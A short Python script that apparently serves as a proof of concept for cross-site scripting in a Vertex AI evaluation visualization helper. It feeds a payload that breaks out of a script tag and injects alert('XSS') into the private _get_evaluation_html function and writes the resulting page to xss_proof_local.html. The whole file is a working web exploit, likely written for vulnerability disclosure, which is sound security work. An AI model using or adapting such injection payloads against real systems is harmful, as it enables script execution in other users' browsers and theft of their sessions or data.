import json
import pathlib

import vertexai._genai._evals_visualization as v

payload = "</script><script>alert('XSS');</script>"

s = json.dumps({
    "prompt": payload,
    "rows": []
})

html = v._get_evaluation_html(s)

pathlib.Path("xss_proof_local.html").write_text(html, encoding="utf-8")
print("[+] xss_proof_local.html")